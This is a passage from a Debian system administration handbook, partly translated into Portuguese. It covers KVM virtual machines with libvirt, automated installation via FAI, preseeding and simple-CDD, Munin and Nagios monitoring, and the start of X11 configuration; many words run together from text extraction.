12.2.3.1. EtapasPreliminares

Unlike such tools as VirtualBox, KVMitself doesn't include any user-interfacefor creating and managing virtualmachines. The qemu-kvm package onlyprovides an executable able to start avirtual machine, as well as aninitialization script that loads theappropriate kernel modules.

Fortunately, Red Hat also providesanother set of tools to address thatproblem, by developing the libvirtlibrary and the associated virtualmachine manager tools. libvirt allowsmanaging virtual machines in a

uniform way, independently of thevirtualization system involved behindthe scenes (it currently supportsQEMU, KVM, Xen, LXC, OpenVZ,VirtualBox, VMWare and UML).virtual-manager is a graphicalinterface that uses libvirt to create andmanage virtual machines.

We first install the required packages,with apt-get install qemu-kvmlibvirt-bin virtinst virt-manager virt-viewer. libvirt-bin provides thelibvirtd daemon, which allows(potentially remote) management ofthe virtual machines running of thehost, and starts the required VMs whenthe host boots. In addition, this package

provides the virsh command-line tool,which allows controlling the libvirtd-managed machines.

The virtinst package provides virt-install, which allows creating virtualmachines from the command line.Finally, virt-viewer allows accessing aVM's graphical console.

12.2.3.2. Configuração deRede

Just as in Xen and LXC, the mostfrequent network configurationinvolves a bridge grouping the networkinterfaces of the virtual machines (see

Section 12.2.2.2, “Configuração deRede”).

Alternatively, and in the defaultconfiguration provided by KVM, thevirtual machine is assigned a privateaddress (in the 192.168.122.0/24range), and NAT is set up so that theVM can access the outside network.

The rest of this section assumes thatthe host has an eth0 physical interfaceand a br0 bridge, and that the former isconnected to the latter.

12.2.3.3. Instalação comvirt-install

Creating a virtual machine is verysimilar to installing a normal system,except that the virtual machine'scharacteristics are described in aseemingly endless command line.

Practically speaking, this means wewill use the Debian installer, bybooting the virtual machine on a virtualDVD-ROM drive that maps to a DebianDVD image stored on the host system.The VM will export its graphicalconsole over the VNC protocol (seeSection 9.2.3, “Usando AmbientesGráficos Remotamente” for details),which will allow us to control theinstallation process.

We first need to tell libvirtd where tostore the disk images, unless thedefault location(/var/lib/libvirt/images/) is fine.

# virsh pool-create-as srv-kvm dir --target /srv/kvm

Let us now start the installation processfor the virtual machine, and have acloser look at virt-install's mostimportant options. This commandregisters the virtual machine and itsparameters in libvirtd, then starts it sothat its installation can proceed.

# virt-install --connect qemu:///system

--virt-type kvm

--name testkvm

--ram 1024

--disk /srv/kvm/testkvm.qcow,format=qcow2,size=10

--cdrom /srv/isos/debian-6.0.0-amd64-DVD-1.iso

--network bridge=br0

--vnc

--os-type linux

--os-variant debiansqueeze

Starting install...

Allocating 'testkvm.qcow' | 10 GB 00:00

Creating domain... | 0 B 00:00

Cannot open display:

Run 'virt-viewer --help' to see a full list of available command line options.

Domain installation still in progress. You can reconnect

to the console to complete the installation process.

The --connect option specifies the“hypervisor” to use. Its form is thatof an URL containing avirtualization system (xen://,qemu://, lxc://, openvz://,vbox://, and so on) and the

machine that should host the VM(this can be left empty in the case ofthe local host). In addition to that,and in the QEMU/KVM case, eachuser can manage virtual machinesworking with restricted permissions,and the URL path allowsdifferentiating “system” machines(/system) from others (/session).

Since KVM is managed the sameway as QEMU, the --virt-typekvm allows specifying the use ofKVM even though the URL lookslike QEMU.

The --name option defines a(unique) name for the virtualmachine.

The --ram option allows specifyingthe amount of RAM (in MB) toallocate for the virtual machine.

The --disk specifies the location ofthe image file that is to represent ourvirtual machine's hard disk; that fileis created, unless present, with a size(in GB) specified by the sizeparameter. The format parameterallows choosing among several waysof storing the image file. The default

format (raw) is a single file exactlymatching the disk's size andcontents. We picked a moreadvanced format here, that isspecific to QEMU and allowsstarting with a small file that onlygrows when the virtual machinestarts actually using space.

The --cdrom option is used toindicate where to find the opticaldisk to use for installation. The pathcan be either a local path for an ISOfile, an URL where the file can beobtained, or the device file of aphysical CD-ROM drive (i.e./dev/cdrom).

The --network specifies how thevirtual network card integrates in thehost's network configuration. Thedefault behavior (which weexplicitly forced in our example) isto integrate it into any pre-existingnetwork bridge. If no such bridgeexists, the virtual machine will onlyreach the physical network throughNAT, so it gets an address in aprivate subnet range(192.168.122.0/24).

--vnc states that the graphicalconsole should be made availableusing VNC. The default behavior for

the associated VNC server is to onlylisten on the local interface; if theVNC client is to be run on adifferent host, establishing theconnection will require setting up anSSH tunnel (see Section 9.2.2.3,“Criando Túneis Criptografados comEncaminhamento de Porta”).Alternatively, the --vnclisten=0.0.0.0 can be used sothat the VNC server is accessiblefrom all interfaces; note that if youdo that, you really should designyour firewall accordingly.

The --os-type and --os-variantoptions allow optimizing a fewparameters of the virtual machine,

based on some of the known featuresof the operating system mentionedthere.

At this point, the virtual machine isrunning, and we need to connect to thegraphical console to proceed with theinstallation process. If the previousoperation was run from a graphicaldesktop environment, this connectionshould be automatically started. If not,or if we operate remotely, virt-viewercan be run from any graphicalenvironment to open the graphicalconsole (note that the root password ofthe remote host is asked twice becausethe operation requires 2 SSHconnections):

$ virt-viewer --connect qemu+ssh://root@

root@server's password:

root@server's password:

Quando o processo de instalaçãoterminar, a máquina virtual éreiniciada, e agora pronta para o uso.

12.2.3.4. GerenciandoMáquina com virsh

Now that the installation is done, let ussee how to handle the available virtualmachines. The first thing to try is toask libvirtd for the list of the virtualmachines it manages:

# virsh -c qemu:///system list --all

Id Name State

----------------------------------

- testkvm shut off

Vamos iniciar nossa máquina virtual deteste:

# virsh -c qemu:///system start testkvm

Domain testkvm started

We can now get the connectioninstructions for the graphical console(the returned VNC display can be givenas parameter to vncviewer):

# virsh -c qemu:///system vncdisplay testkvm

:0

Outros subcomandos disponíveis para ovirsh incluem:

reboot reinicia uma máquinavirtual;shutdown para ativar umdesligamento limpo;destroy, para pararabruptamente;suspend para pausar a mesma;resume para despausar a mesma;autostart to enable (or disable,with the --disable option)starting the virtual machineautomatically when the hoststarts;undefine to remove all traces ofthe virtual machine from libvirtd.

Todos esses subcomandos têm comoparâmetro a identificação da máquina

virtual.

12.3. InstalaçãoAutomatizadaThe Falcot Corp administrators, likemany administrators of large ITservices, need tools to install (orreinstall) quickly, and automatically ifpossible, their new machines.

These requirements can be met by awide range of solutions. On the onehand, generic tools such asSystemImager handle this by creatingan image based on a template machine,then deploy that image to the targetsystems; at the other end of the

spectrum, the standard Debian installercan be preseeded with a configurationfile giving the answers to the questionsasked during the installation process.As a sort of middle ground, a hybridtool such as FAI (Fully AutomaticInstaller) installs machines using thepackaging system, but it also uses itsown infrastructure for tasks that aremore specific to massive deployments(such as starting, partitioning,configuration and so on).

Each of these solutions has its pros andcons: SystemImager worksindependently from any particularpackaging system, which allows it tomanage large sets of machines using

several distinct Linux distributions. Italso includes an update system thatdoesn't require a reinstallation, but thisupdate system can only be reliable ifthe machines are not modifiedindependently; in other words, the usermust not update any software on theirown, or install any other software.Similarly, security updates must not beautomated, because they have to gothrough the centralized referenceimage maintained by SystemImager.This solution also requires the targetmachines to be homogeneous,otherwise many different images wouldhave to be kept and managed (an i386image won't fit on a powerpc machine,and so on).

On the other hand, an automatedinstallation using debian-installer canadapt to the specifics of each machine:the installer will fetch the appropriatekernel and software packages from therelevant repositories, detect availablehardware, partition the whole hard diskto take advantage of all the availablespace, install the corresponding Debiansystem, and set up an appropriatebootloader. However, the standardinstaller will only install standardDebian versions, with the base systemand a set of pre-selected “tasks”; thisprecludes installing a particular systemwith non-packaged applications.Fulfilling this particular need requirescustomizing the installer…

Fortunately, the installer is verymodular, and there are tools toautomate most of the work required forthis customization, most importantlysimple-CDD (CDD being an acronymfor Custom Debian Derivatives). Eventhe simple-CDD solution, however,only handles initial installations; this isusually not a problem since the APTtools allow efficient deployment ofupdates later on.

We will only give a rough overview ofFAI, and skip SystemImager altogether(which is no longer in Debian), in orderto focus more intently on debian-installer and simple-CDD, which aremore interesting in a Debian-only

context.

12.3.1. InstaladorCompletamenteAutomático (FAI)Fully Automatic Installer is probablythe oldest automated deploymentsystem for Debian, which explains itsstatus as a reference; but its veryflexible nature only just compensatesfor the complexity it involves.

FAI requires a server system to storedeployment information and allowtarget machines to boot from the

network. This server requires the fai-server package (or fai-quickstart,which also brings the requiredelements for a standard configuration).

FAI uses a specific approach fordefining the various installableprofiles. Instead of simply duplicatinga reference installation, FAI is a full-fledged installer, fully configurable viaa set of files and scripts stored on theserver; the default location/srv/fai/config/ is notautomatically created, so theadministrator needs to create it alongwith the relevant files. Most of thetimes, these files will be customizedfrom the example files available in the

documentation for the fai-doc package,more particularly the/usr/share/doc/fai-

doc/examples/simple/ directory.

Once the profiles are defined, the fai-setup command generates the elementsrequired to start an FAI installation;this mostly means preparing orupdating a minimal system (NFS-root)used during installation. An alternativeis to generate a dedicated boot CD withfai-cd.

Para criar todos esses arquivos deconfiguração é necessário algumentendimento da maneira a qual o FAIfunciona. Um processo de instalaçãotípico é feito dos passos seguintes:

pegar um núcleo da rede, e iniciá-lo;montar um sistema de arquivo raizde um NFS;executar /usr/sbin/fai, o qualcontrola o resto do processo (ospróximos passos portanto sãoiniciados por este roteiro);copying the configuration spacefrom the server into /fai/;running fai-class. The/fai/class/[0-9][0-9]* scriptsare executed in turn, and returnnames of “classes” that apply tothe machine being installed; thisinformation will serve as a basefor the following steps. Thisallows for some flexibility in

defining the services to beinstalled and configured.fetching a number ofconfiguration variables, dependingon the relevant classes;partitioning the disks andformatting the partitions, based oninformation provided in/fai/disk_config/class;mounting said partitions;installing the base system;preseeding the Debconf databasewith fai-debconf;fetching the list of availablepackages for APT;installing the packages listed in/fai/package_config/class;executing the post-configuration

scripts,/fai/scripts/class/[0-9][0-

9]*;recording the installation logs,unmounting the partitions, andrebooting.

12.3.2. PreseedingDebian-InstallerAt the end of the day, the best tool toinstall Debian systems should logicallybe the official Debian installer. This iswhy, right from its inception, debian-installer has been designed forautomated use, taking advantage of the

infrastructure provided by debconf.The latter allows, on the one hand, toreduce the number of questions asked(hidden questions will use the provideddefault answer), and on the other hand,to provide the default answersseparately, so that installation can benon-interactive. This last feature isknown as preseeding.

GOING FURTHER Debconf with acentralized database

Preseeding allows to provide a set ofanswers to Debconf questions atinstallation time, but these answers arestatic and do not evolve as time passes.Since already-installed machines mayneed upgrading, and new answers may

become required, the /etc/debconf.confconfiguration file can be set up so thatDebconf uses external data sources (suchas an LDAP directory server, or a remotefile mounted via NFS or Samba). Severalexternal data sources can be defined atthe same time, and they complement oneanother. The local database is still used(for read-write access), but the remotedatabases are usually restricted toreading. The debconf.conf(5) manualpage describes all the possibilities indetail.

12.3.2.1. Using a PreseedFile

There are several places where the

installer can get a preseeding file:

in the initrd used to start themachine; in this case, preseedinghappens at the very beginning ofthe installation, and all questionscan be avoided. The file just needsto be called preseed.cfg andstored in the initrd root.on the boot media (CD or USBkey); preseeding then happens assoon as the media is mounted,which means right after thequestions about language andkeyboard layout. Thepreseed/file boot parameter canbe used to indicate the location ofthe preseeding file (for instance,

/cdrom/preseed.cfg when theinstallation is done off a CD-ROM, or /hd-media/preseed.cfg in the USB-key case).from the network; preseeding thenonly happens after the network is(automatically) configured; therelevant boot parameter is thenpreseed/url=http://server/preseed.cfg

At a glance, including the preseedingfile in the initrd looks like the mostinteresting solution; however, it israrely used in practice, becausegenerating an installer initrd is rathercomplex. The other two solutions aremuch more common, especially since

boot parameters provide another way topreseed the answers to the firstquestions of the installation process.The usual way to save the bother oftyping these boot parameters by handat each installation is to save them intothe configuration for isolinux (in theCD-ROM case) or syslinux (USB key).

12.3.2.2. Creating a PreseedFile

A preseed file is a plain text file, whereeach line contains the answer to oneDebconf question. A line is split acrossfour fields separated by whitespace(spaces or tabs), as in, for instance, d-i

mirror/suite string stable:

the first field is the “owner” of thequestion; “d-i” is used forquestions relevant to the installer,but it can also be a package namefor questions coming from Debianpackages;the second field is an identifier forthe question;third, the type of question;the fourth and last field containsthe value for the answer; note thatit must be separated from the thirdfield with a single space, so thatthe value can start withwhitespace.

The simplest way to write a preseedfile is to install a system by hand. Thendebconf-get-selections --installer willprovide the answers concerning theinstaller. Answers about other packagescan be obtained with debconf-get-selections. However, a cleaner solutionis to write the preseed file by hand,starting from an example and thereference documentation: with such anapproach, only questions where thedefault answer needs to be overriddencan be preseeded; using thepriority=critical boot parameterwill instruct Debconf to only askcritical questions, and use the defaultanswer for others.

DOCUMENTATION Installation guideappendix

The installation guide, available online,includes detailed documentation on theuse of a preseed file in an appendix. Italso includes a detailed and commentedsample file, which can serve as a base forlocal customizations.

→ http://www.debian.org/releases/squeeze/i386/apb.html

→ http://www.debian.org/releases/squeeze/example-preseed.txt

12.3.2.3. Creating aCustomized Boot Media

Knowing where to store the preseedfile is all very well, but the locationisn't everything: one must, one way oranother, alter the installation bootmedia to change the boot parametersand add the preseed file.

12.3.2.3.1. Booting From the Network

When a computer is booted from thenetwork, the server sending theinitialization elements also defines theboot parameters. Thus, the changeneeds to be made in the PXEconfiguration for the boot server; morespecifically, in its/tftpboot/pxelinux.cfg/default

configuration file. Setting up network

boot is a prerequisite; see theInstallation Guide for details.

→ http://www.debian.org/releases/squeeze/i386/ch04s05.html

12.3.2.3.2. Preparing a Bootable USBKey

Once a bootable key has been prepared(see Section 4.1.2, “Iniciando a partirde um pendrive”), a few extraoperations are needed. Assuming thekey contents are available under/media/usbdisk/:

copy the preseed file to/media/usbdisk/preseed.cfg

edit

/media/usbdisk/syslinux.cfg

and add required boot parameters(see example below).

Example 12.2. syslinux.cfg file andpreseeding parametersdefault vmlinuz

append preseed/file=/hd-media/preseed.cfg locale=en_US console-keymaps-at/keymap=us languagechooser/language-name=English countrychooser/shortlist=US vga=normal initrd=initrd.gz --

12.3.2.3.3. Creating a CD-ROMImage

A USB key is a read-write media, so itwas easy for us to add a file there andchange a few parameters. In the CD-ROM case, the operation is morecomplex, since we need to regenerate afull ISO image. This task is handled by

debian-cd, but this tool is ratherawkward to use: it needs a local mirror,and it requires an understanding of allthe options provided by/usr/share/debian-cd/CONF.sh;even then, make must be invokedseveral times. /usr/share/debian-cd/README is therefore a veryrecommended read.

Having said that, debian-cd alwaysoperates in a similar way: an “image”directory with the exact contents of theCD-ROM is generated, then convertedto an ISO file with a tool such asgenisoimage, mkisofs or xorriso. Theimage directory is finalized afterdebian-cd's make image-trees step. At

that point, we insert the preseed fileinto the appropriate directory (usually$TDIR/squeeze/CD1/, $TDIR beingone of the parameters defined by theCONF.sh configuration file). The CD-ROM uses isolinux as its bootloader,and its configuration file must beadapted from what debian-cdgenerated, in order to insert therequired boot parameters (the specificfile is$TDIR/squeeze/boot1/isolinux/isolinux.cfg

Then the “normal” process can beresumed, and we can go on togenerating the ISO image with makeimage CD=1 (or make images ifseveral CD-ROMs are generated).

12.3.3. Simple-CDD:The All-In-OneSolutionSimply using a preseed file is notenough to fulfill all the requirementsthat may appear for large deployments.Even though it is possible to execute afew scripts at the end of the normalinstallation process, the selection of theset of packages to install is still notquite flexible (basically, only “tasks”can be selected); more important, thisonly allows installing official Debianpackages, and precludes locally-generated ones.

On the other hand, debian-cd is able tointegrate external packages, anddebian-installer can be extended byinserting new steps in the installationprocess. By combining thesecapabilities, it should be possible tocreate a customized installer thatfulfills our needs; it should even beable to configure some services afterunpacking the required packages.Fortunately, this is not a merehypothesis, since this is exactly whatSimple-CDD (in the simple-cddpackage) does.

The purpose of Simple-CDD is to allowanyone to easily create a distributionderived from Debian, by selecting a

subset of the available packages,preconfiguring them with Debconf,adding specific software, and executingcustom scripts at the end of theinstallation process. This matches the“universal operating system”philosophy, since anyone can adapt itto their own needs.

12.3.3.1. Creating Profiles

Simple-CDD defines “profiles” thatmatch the FAI “classes” concept, and amachine can have several profiles(determined at installation time). Aprofile is defined by a set ofprofiles/profile.* files:

the .description file contains aone-line description for theprofile;the .packages file lists packagesthat will automatically beinstalled if the profile is selected;the .downloads file lists packagesthat will be stored onto theinstallation media, but notnecessarily installed;the .preseed file containspreseeding information forDebconf questions (for theinstaller and/or for packages);the .postinst file contains ascript that will be run at the end ofthe installation process;lastly, the .conf file allows

changing some Simple-CDDparameters based on the profilesto be included in an image.

The default profile has a particularrole, since it is always selected; itcontains the bare minimum requiredfor Simple-CDD to work. The onlything that is usually customized in thisprofile is the simple-cdd/profilespreseed parameter: this allowsavoiding the question, introduced bySimple-CDD, about what profiles toinstall.

Note also that the commands will needto be invoked from the parent directoryof the profiles directory.

12.3.3.2. Configuring andUsing build-simple-cdd

QUICK LOOK Detailed configurationfile

An example of a Simple-CDDconfiguration file, with all possibleparameters, is included in the package(/usr/share/doc/simple-cdd/examples/simple-

cdd.conf.detailed.gz). This can be usedas a starting point when creating a customconfiguration file.

Simple-CDD requires many parametersto operate fully. They will most oftenbe gathered in a configuration file,

which build-simple-cdd can bepointed at with the --conf option, butthey can also be specified via dedicatedparameters given to build-simple-cdd.Here is an overview of how thiscommand behaves, and how itsparameters are used:

the profiles parameter lists theprofiles that will be included onthe generated CD-ROM image;based on the list of requiredpackages, Simple-CDD downloadsthe appropriate files from theserver mentioned in server, andgathers them into a partial mirror(which will later be given todebian-cd);

the custom packages mentioned inlocal_packages are alsointegrated into this local mirror;debian-cd is then executed (withina default location that can beconfigured with thedebian_cd_dir variable), withthe list of packages to integrate;once debian-cd has prepared itsdirectory, Simple-CDD appliessome changes to this directory:

files containing the profilesare added in a simple-cddsubdirectory (that will end upon the CD-ROM);other files listed in theall_extras parameter arealso added;

the boot parameters areadjusted so as to enable thepreseeding. Questionsconcerning language andcountry can be avoided if therequired information isstored in the language andcountry variables.

debian-cd then generates the finalISO image.

12.3.3.3. Generating an ISOImage

Once we have written a configurationfile and defined our profiles, theremaining step is to invoke build-

simple-cdd --conf simple-cdd.conf.After a few minutes, we get therequired image in images/debian-6.0-i386-CD-1.iso.

12.4. MonitoramentoMonitoring is a generic term, and thevarious involved activities have severalgoals: on the one hand, following usageof the resources provided by a machineallows anticipating saturation and thesubsequent required upgrades; on theother hand, alerting the administratoras soon as a service is unavailable ornot working properly means theproblem can be fixed earlier.

Munin covers the first area, bydisplaying graphical charts forhistorical values of a number ofparameters (used RAM, occupied disk

space, processor load, network traffic,Apache/MySQL load, and so on).Nagios covers the second area, byregularly checking that the services areworking and available, and sendingalerts through the appropriate channels(e-mails, text messages, and so on).Both have a modular design, whichmakes it easy to create new plug-ins tomonitor specific parameters orservices.

ALTERNATIVE Zabbix, an integratedmonitoring tool

Although Munin and Nagios are in verycommon use, they are not the only playersin the monitoring field, and each of themonly handles half of the task (graphing on

one side, alerting on the other). Zabbix,on the other hand, integrates both parts ofmonitoring; it also has a web interface forconfiguring the most common aspects. Ithas grown by leaps and bounds during thelast few years, and can now be considereda viable contender.

→ http://www.zabbix.org/

ALTERNATIVE Icinga, a Nagios fork

Spurred by divergences in opinionsconcerning the development model forNagios (which is controlled by acompany), a number of developers forkedNagios and use Icinga as their new name.Icinga is still compatible — so far — withNagios configurations and plugins, but italso adds extra features.

→ http://www.icinga.org/

12.4.1. Setting UpMuninThe purpose of Munin is to monitormany machines; therefore, it quitenaturally uses a client/serverarchitecture. The central host — thegrapher — collects data from all themonitored hosts, and generateshistorical graphs.

12.4.1.1. Configuring HostsTo Monitor

The first step is to install the munin-node package. The daemon installed bythis package listens on port 4949 andsends back the data collected by all theactive plugins. Each plugin is a simpleprogram returning a description of thecollected data as well as the latestmeasured value. Plugins are stored in/usr/share/munin/plugins/, butonly those with a symbolic link in/etc/munin/plugins/ are really used.

When the package is installed, a set ofactive plugins is determined based onthe available software and the currentconfiguration of the host. However,this autoconfiguration depends on afeature that each plugin must provide,

and it is usually a good idea to reviewand tweak the results by hand. It wouldbe interesting to have comprehensivedocumentation for each plugin, butunfortunately there's no such officialdocumentation. However, all pluginsare scripts and most are rather simpleand well-commented. Browsing/etc/munin/plugins/ is therefore agood way of getting an idea of whateach plugin is about and determiningwhich should be removed. Similarly,enabling an interesting plugin found in/usr/share/munin/plugins/ is asimple matter of setting up a symboliclink with ln -sf/usr/share/munin/plugins/plugin/etc/munin/plugins/. Note that when a

plugin name ends with an underscore“_”, the plugin requires a parameter.This parameter must be stored in thename of the symbolic link; forinstance, the “if_” plugin must beenabled with a if_eth0 symbolic link,and it will monitor network traffic onthe eth0 interface.

Once all plugins are correctly set up,the daemon configuration must beupdated to describe access control forthe collected data. This involves allowdirectives in the /etc/munin/munin-node.conf file. The defaultconfiguration is allow^127\.0\.0\.1$, and only allowsaccess to the local host. An

administrator will usually add a similarline containing the IP address of thegrapher host, then restart the daemonwith invoke-rc.d munin-node restart.

GOING FURTHER Creating localplugins

Despite the lack of official documentationfor standard plugins, Munin does includedetailed documentation on how pluginsshould behave, and how to develop newplugins.

→ http://munin-monitoring.org/wiki/Documentation

A plugin is best tested when run in thesame conditions as it would be whentriggered by munin-node; this can be

simulated by running munin-run pluginas root. A potential second parametergiven to this command (such as config) ispassed to the plugin as a parameter.

When a plugin is invoked with the configparameter, it must describe itself byreturning a set of fields:

$ sudo munin-run load config

graph_title Load average

graph_args --base 1000 -l 0

graph_vlabel load

graph_scale no

graph_category system

load.label load

graph_info The load average of the machine describes how many processes are in the run-queue (scheduled to run "immediately").

load.info 5 minute load average

The various available fields are describedby the “configuration protocol”specification available on the Muninwebsite.

→ http://munin-monitoring.org/wiki/protocol-config

When invoked without a parameter, theplugin simply returns the last measuredvalues; for instance, executing sudomunin-run load could return load.value0.12.

Finally, when a plugin is invoked with theautoconf parameter, it should return“yes” (and a 0 exit status) or “no” (with a1 exit status) according to whether theplugin should be enabled on this host.

12.4.1.2. Configuring theGrapher

The “grapher” is simply the computerthat aggregates the data and generatesthe corresponding graphs. The requiredsoftware is in the munin package. Thestandard configuration runs munin-cron (once every 5 minutes), whichgathers data from all the hosts listed in/etc/munin/munin.conf (only thelocal host is listed by default), savesthe historical data in RRD files (RoundRobin Database, a file format designedto store data varying in time) storedunder /var/lib/munin/ and generatesan HTML page with the graphs in/var/cache/munin/www/.

All monitored machines must thereforebe listed in the/etc/munin/munin.conf

configuration file. Each machine islisted as a full section with a namematching the machine and at least anaddress entry giving thecorresponding IP address.

[ftp.falcot.com]

address 192.168.0.12

use_node_name yes

Sections can be more complex, anddescribe extra graphs that could becreated by combining data comingfrom several machines. The samplesprovided in the configuration file aregood starting points for customization.

The last step is to publish the generatedpages; this involves configuring a web

server so that the contents of/var/cache/munin/www/ are madeavailable on a website. Access to thiswebsite will often be restricted, usingeither an authentication mechanism orIP-based access control. SeeSection 11.2, “Web Server (HTTP)” forthe relevant details.

12.4.2. Setting UpNagiosUnlike Munin, Nagios does notnecessarily require installing anythingon the monitored hosts; most of thetime, Nagios is used to check the

availability of network services. Forinstance, Nagios can connect to a webserver and check that a given web pagecan be obtained within a given time.

12.4.2.1. Instalando

The first step in setting up Nagios is toinstall the nagios3, nagios-plugins andnagios3-doc packages. Installing thepackages configures the web interfaceand creates a first nagiosadmin user(for which it asks for a password).Adding other users is a simple matterof inserting them in the/etc/nagios3/htpasswd.users filewith Apache's htpasswd command. Ifno Debconf question was displayed

during installation, dpkg-reconfigurenagios3-cgi can be used to define thenagiosadmin password.

Pointing a browser athttp://server/nagios3/ displays theweb interface; in particular, note thatNagios already monitors someparameters of the machine where itruns. However, some interactivefeatures such as adding comments to ahost do not work. These features aredisabled in the default configurationfor Nagios, which is very restrictive forsecurity reasons.

As documented in/usr/share/doc/nagios3/README.Debian

enabling some features involvesediting /etc/nagios3/nagios.cfgand setting itscheck_external_commands parameterto “1”. We also need to set up writepermissions for the directory used byNagios, with commands such as thefollowing:

# /etc/init.d/nagios3 stop

[...]

# dpkg-statoverride --update --add nagios www-data 2710 /var/lib/nagios3/rw

# dpkg-statoverride --update --add nagios nagios 751 /var/lib/nagios3

# /etc/init.d/nagios3 start

[...]

12.4.2.2. Configurando

The Nagios web interface is rather

nice, but it does not allowconfiguration, nor can it be used to addmonitored hosts and services. Thewhole configuration is managed viafiles referenced in the centralconfiguration file,/etc/nagios3/nagios.cfg.

These files should not be dived intowithout some understanding of theNagios concepts. The configurationlists objects of the following types:

a host is a machine to bemonitored;a hostgroup is a set of hosts thatshould be grouped together fordisplay, or to factor some

common configuration elements;a service is a testable elementrelated to a host or a host group. Itwill most often be a check for anetwork service, but it can alsoinvolve checking that someparameters are within anacceptable range (for instance,free disk space or processor load);a servicegroup is a set of servicesthat should be grouped togetherfor display;a contact is a person who canreceive alerts;a contactgroup is a set of suchcontacts;a timeperiod is a range of timeduring which some services have

to be checked;a command is the command lineinvoked to check a given service.

According to its type, each object has anumber of properties that can becustomized. A full list would be toolong to include, but the most importantproperties are the relations between theobjects.

A service uses a command to check thestate of a feature on a host (or ahostgroup) within a timeperiod. In caseof a problem, Nagios sends an alert toall members of the contactgroup linkedto the service. Each member is sent thealert according to the channel

described in the matching contactobject.

An inheritance system allows easysharing of a set of properties acrossmany objects without duplicatinginformation. Moreover, the initialconfiguration includes a number ofstandard objects; in many cases,defining now hosts, services andcontacts is a simple matter of derivingfrom the provided generic objects. Thefiles in /etc/nagios3/conf.d/ are agood source of information on howthey work.

The Falcot Corp administrators use thefollowing configuration:

Example 12.3. /etc/nagios3/conf.d/falcot.cfgfiledefine contact{

name generic-contact

service_notification_period 24x7

host_notification_period 24x7

service_notification_options w,u,c,r

host_notification_options d,u,r

service_notification_commands notify-service-by-email

host_notification_commands notify-host-by-email

register 0 ; Template only

}

define contact{

use generic-contact

contact_name rhertzog

alias Raphael Hertzog

email [email protected]

}

define contact{

use generic-contact

contact_name rmas

alias Roland Mas

email [email protected]

}

define contactgroup{

contactgroup_name falcot-admins

alias Falcot Administrators

members rhertzog,rmas

}

define host{

use generic-host ; Name of host template to use

host_name www-host

alias www.falcot.com

address 192.168.0.5

contact_groups falcot-admins

hostgroups debian-servers,ssh-servers

}

define host{

use generic-host ; Name of host template to use

host_name ftp-host

alias ftp.falcot.com

address 192.168.0.6

contact_groups falcot-admins

hostgroups debian-servers,ssh-servers

}

# 'check_ftp' command with custom parameters

define command{

command_name check_ftp2

command_line /usr/lib/nagios/plugins/check_ftp -H $HOSTADDRESS$ -w 20 -c 30 -t 35

}

# Generic Falcot service

define service{

name falcot-service

use generic-service

contact_groups falcot-admins

register 0

}

# Services to check on www-host

define service{

use falcot-service

host_name www-host

service_description HTTP

check_command check_http

}

define service{

use falcot-service

host_name www-host

service_description HTTPS

check_command check_https

}

define service{

use falcot-service

host_name www-host

service_description SMTP

check_command check_smtp

}

# Services to check on ftp-host

define service{

use falcot-service

host_name ftp-host

service_description FTP

check_command check_ftp2

}

This configuration file describes twomonitored hosts. The first one is theweb server, and the checks are made onthe HTTP (80) and secure-HTTP (443)ports. Nagios also checks that an SMTPserver runs on port 25. The second hostis the FTP server, and the checkinclude making sure that a reply comeswithin 20 seconds. Beyond this delay, awarning is emitted; beyond 30 seconds,the alert is deemed critical. The Nagiosweb interface also shows that the SSHservice is monitored: this comes fromthe hosts belonging to the ssh-servers hostgroup. The matchingstandard service is defined in/etc/nagios3/conf.d/services_nagios2.cfg

Note the use of inheritance: an object ismade to inherit from another objectwith the “use parent-name”. Theparent object must be identifiable,which requires giving it a “nameidentifier” property. If the parentobject is not meant to be a real object,but only to serve as a parent, giving it a“register 0” property tells Nagios not toconsider it, and therefore to ignore thelack of some parameters that wouldotherwise be required.

DOCUMENTATION List of objectproperties

A more in-depth understanding of thevarious ways in which Nagios can beconfigured can be obtained from the

documentation provided by the nagios3-doc package. This documentation isdirectly accessible from the webinterface, with the “Documentation” linkin the top left corner. It includes a list ofall object types, with all the propertiesthey can have. It also explains how tocreate new plugins.

GOING FURTHER Remote tests withNRPE

Many Nagios plugins allow checkingsome parameters local to a host; if manymachines need these checks while acentral installation gathers them, theNRPE (Nagios Remote Plugin Executor)plugin needs to be deployed. The nagios-nrpe-plugin package needs to be installedon the Nagios server, and nagios-nrpe-

server on the hosts where local tests needto run. The latter gets its configurationfrom /etc/nagios/nrpe.cfg. This fileshould list the tests that can be startedremotely, and the IP addresses of themachines allowed to trigger them. On theNagios side, enabling these remote tests isa simple matter of adding matchingservices using the new check_nrpecommand.

Chapter 13. Estaçãode trabalhoAgora que a publicação do servidor foifeita, os administradores podem seconcentrar em instalar as estaçõesindividuais e criar uma configuraçãotípica.

13.1. Configurandoo servidor X11A configuração inicial para a interface

gráfica pode ser estranha às vezes;placas de vídeo recentes por vezes nãofuncionam perfeitamente na versão doX.org que vem com a versão stável doDebian.

A brief reminder: X.org is the softwarecomponent that allows graphicalapplications to display windows onscreen. It includes a driver that makesefficient use of the video card. Thefeatures offered to the graphicalapplications are exported through astandard interface, X11 (Squeezecontains its X11R7.5 version).

PERSPECTIVA X11, XFree86 e X.org

X11 is the graphical system most widelyused on Unix-like systems (also available,in addition to the native system, forWindows and Mac OS). Strictly speaking,the “X11” term only refers to a protocolspecification, but it's also used to refer tothe implementation in practice.

X11 had a rough start, but the 1990's sawXFree86 emerge as the referenceimplementation because it was freesoftware, portable, and maintained by acollaborative community. However, therate of evolution slowed down near theend when the software only gained newdrivers. That situation, along with a verycontroversial license change, led to theX.org fork in 2004. This is now thereference implementation, and DebianSqueeze uses X.org version 7.5.

Current versions of X.org are able toautodetect the available hardware: thisapplies to the video card and themonitor, as well as keyboards andmice; in fact, it's so convenient that thepackage no longer even creates a/etc/X11/xorg.conf configurationfile. This is all made possible byfeatures provided by the Linux 2.6kernel (in particular for keyboards andmice), by having each driver list thevideo cards it supports, and by usingthe DDC protocol to fetch monitorcharacteristics.

The keyboard configuration iscurrently set up in/etc/default/keyboard. This file is

used both to configure the text consoleand the graphical interface, and it ishandled by the keyboard-configurationpackage. Details on configuring thekeyboard layout are available inSection 8.1.2, “Configurando oTeclado”.

The xserver-xorg-core packageprovides a generic X server, as used bythe 7.x versions of X.org. This server ismodular and uses a set of independentdrivers to handle the many differentkinds of video cards. Installingxserver-xorg ensures that both theserver and at least one video driver areinstalled.

